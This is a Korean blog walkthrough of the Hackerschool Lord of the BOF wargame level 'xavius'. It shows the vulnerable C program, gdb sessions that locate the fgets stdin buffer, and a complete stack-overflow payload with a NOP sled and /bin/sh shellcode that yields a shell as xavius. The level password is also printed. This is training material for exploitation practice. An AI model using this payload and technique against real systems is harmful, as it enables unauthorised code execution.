[해커스쿨 LOB] Level19: Nightmare >> Xavius

두비니

·

2020. 8. 31. 18:38

 

 

 


Level 19. Nightmare >> Xavius

Theme: arg


login

id : nightmare
pw : beg for me

 

 

bash2 & 코드확인

[nightmare@localhost nightmare]$ bash2
[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

제한조건

1. stack영역으로 return 불가능 (stack betrayed you!)

2. 바이너리 부분으로 return 불가능 (binary image betrayed you, too!!)

3. leave-ret 사용불가(You cannot use library function!)

4. ret부분 제외 모든 stack영역 사용 불가능(stack destroyer)

5. LD_* 사용 불가능(LD_* eraser)

 

 

이번 문제는 stack, 코드영역 둘다 ret에 못 쓰고, 심지어 library를 사용해도 leave, ret를 만나면 프로그램이 종료되는 걸 확인할 수 있습니다. 이번 문제에서 봐주어야 할 부분은 argv가 아닌 fgets로 입력을 받는다는 부분입니다.

 

fgets함수에 대해서 잠시 이야기해봅시다.

fgets함수는 입력을 받고, 그 값을 임시버퍼에 저장하는데, 그 임시버퍼를 stdin이라고 합니다.

이 내용을 잘 모른다면, 다음 글을 읽어봅시다.

 

https://turtle1000.tistory.com/58

 

fgets와 입력버퍼

평소에 궁금한 것들은 혼자서 분석해보고 '아... 내부적으로 이렇게 되는구나...' 하고 넘어갔는데 이제부터는 분석내용을 블로그에 쓰기로 결정했습니다 ㅎㅎ. 일단 이번에 분석할 코드는 아래�

turtle1000.tistory.com

 

아무튼, 여기서 중요한 점은 임시버퍼에 저장한다는 점입니다. 결론적으로 쉘코드를 입력할 공간이 필요한 것이니, 입력버퍼의 주소를 찾을 수 있다면 문제를 풀 수 있겠죠?

 

 

그럼 stdin안에 어떤 값이 들어가있는지 봅시다.

[nightmare@localhost nightmare]$ python -c 'print "A"*260' >> input
[nightmare@localhost nightmare]$ gdb -q xaviul
(gdb) b * main+277
Breakpoint 1 at 0x8048829
(gdb) r < input
Starting program: /home/nightmare/xaviul < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                    AAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x40077f72 in memcmp () from /lib/libc.so.6
(gdb) x/10x stdin
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2088      0x400150ff      0x40015105      0x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000      0x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40016000      0x00000000

일단 다음과 같이 진행하는 이유는 argv로 진행하는 방법이 아닌 fgets로 받아서 진행하는 방법이기 때문에 그렇습니다. breakpoint를 건 곳은 leave에서 걸었습니다. 그 뒤에 stdin값을 확인해보면, stdin이 총 3 주소로 보이는 걸 확인할 수 있습니다. 이 세 군데중에 우리가 fgets에서 이용한 임시버퍼가 있는 건데, 이건 그냥 각각 확인해주어야합니다.

 

(gdb) x/10x 0xfbad2088
0xfbad2088:     Cannot access memory at address 0xfbad2088
(gdb) x/10x 0x40015000
0x40015000:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015010:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015020:     0x41414141      0x41414141
(gdb) x/10x 0x40015000-0x10
0x40014ff0:     0x00000000      0x00000000      0x00000000      0x00000000
0x40015000:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015010:     0x41414141      0x41414141

 

보면 0x40015000이 임시버퍼의 시작 주소임을 알 수 있습니다. 그냥 버퍼에 넣어도 되는데 nop넣어주려고 ret 뒤에 넣고 주소 확인해보겠습니다.

 

[nightmare@localhost nightmare]$ python -c 'print "A"*44+"\x00\x50\x01\x40"+"\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' >> input
[nightmare@localhost nightmare]$ gdb -q xaviul
(gdb) b * main+277
Breakpoint 1 at 0x8048829
(gdb) r < input
Starting program: /home/nightmare/xaviul < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x8048829 in main ()
(gdb) x/100x 0x40015000
0x40015000:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015010:     0x41414141      0x41414141      0x41414141      0x41414141
0x40015020:     0x41414141      0x41414141      0x41414141      0x40015000
0x40015030:     0x90909090      0x90909090      0x90909090      0x90909090
0x40015040:     0x90909090      0x90909090      0x90909090      0xc0319090
0x40015050:     0x2f2f6850      0x2f686873      0x896e6962      0x895350e3
0x40015060:     0xb0c289e1      0x0a80cd0b      0x00000000      0x00000000
0x40015070:     0x00000000      0x00000000      0x00000000      0x00000000
0x40015080:     0x00000000      0x00000000      0x00000000      0x00000000
0x40015090:     0x00000000      0x00000000      0x00000000      0x00000000
0x400150a0:     0x00000000      0x00000000      0x00000000      0x00000000

 

 

0x40015030 들고가겠습니다. 기릿

 

 

[nightmare@localhost nightmare]$ (python -c 'print "A"*44+"\x30\x50\x01\x40"+"\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./xavius
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0P@▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                 ̀

id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away

 

굳굳

마지막 문제 기릿